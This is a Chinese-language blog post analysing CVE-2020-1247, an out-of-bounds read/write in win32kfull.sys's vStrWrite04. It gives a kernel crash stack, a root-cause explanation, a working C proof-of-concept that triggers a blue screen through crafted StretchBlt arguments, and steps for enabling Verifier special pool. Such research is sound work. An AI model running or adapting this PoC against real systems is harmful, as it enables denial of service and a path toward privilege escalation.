CVE-2020-1247漏洞分析

紅人發表於2023-02-27

0x00漏洞資訊

漏洞影響:本地提權

漏洞檔案:win32kfull.sys

漏洞函式:vStrWrite04

漏洞原因:越界讀寫

分析系統:Windows 1903

0x01漏洞分析

崩潰時的堆疊:

 nt!KiBugCheckDebugBreak+0x12
 nt!KeBugCheck2+0x952
 nt!KeBugCheckEx+0x107
 nt!MiSystemFault+0x1d3171
 nt!MmAccessFault+0x34f
 nt!KiPageFault+0x360
 win32kfull!vStrWrite04+0x93
 win32kfull!EngStretchBltNew+0xc88
 win32kfull!EngStretchBlt+0xd1
 win32kfull!EngStretchBltROP+0x319
 win32kfull!BLTRECORD::bStretch+0x37e
 win32kfull!GreStretchBltInternal+0x721
 win32kfull!NtGdiStretchBlt+0x68

 

vStrWrite04 函式在對傳入引數a3 取地址時未驗證地址是否合法 就直接引用導致藍色畫面 往前追溯發現
win32kfull!EngStretchBltROP+2BD 位置 在呼叫SURFMEM::bCreateDIB 時 67.left+24 取地址加0x50 是一個未申請記憶體。導致後面引用到+0x50物件就會造成越界讀寫

 

 0x02驗證poc

#include <Windows.h>


int main()
{
    BITMAPINFO bi = { {0x28, 0x2, 0xfffffffffffffffb, 0x2, 0x4, 0x0, 0x0, 0x0, 0x0, 0x0, 0x2} };
    char out[0x1000] = { 0 };
    HDC r0 = CreateCompatibleDC(0x0);
    HBITMAP r1 = CreateDIBitmap(r0, 0x0, 0x6, &out, &bi, 0x0);
    SelectObject(r0, r1);
   // __debugbreak();
    StretchBlt(r0, 0x0, 0x0, 0x8, 0x8, r0, 0x0, 0x0, 0xffffffffffffffeb, 0x4, 0xee00e6);

    return 0;
}

在執行poc 前需要開啟特殊池 不然很難觸發 因為越界讀取只有4個位元組  需要新增特殊池來穩定觸發

開啟Verifier

 

 

 

 

 

 

 

 

 

 完成後重啟就可以穩定觸發漏洞



相關文章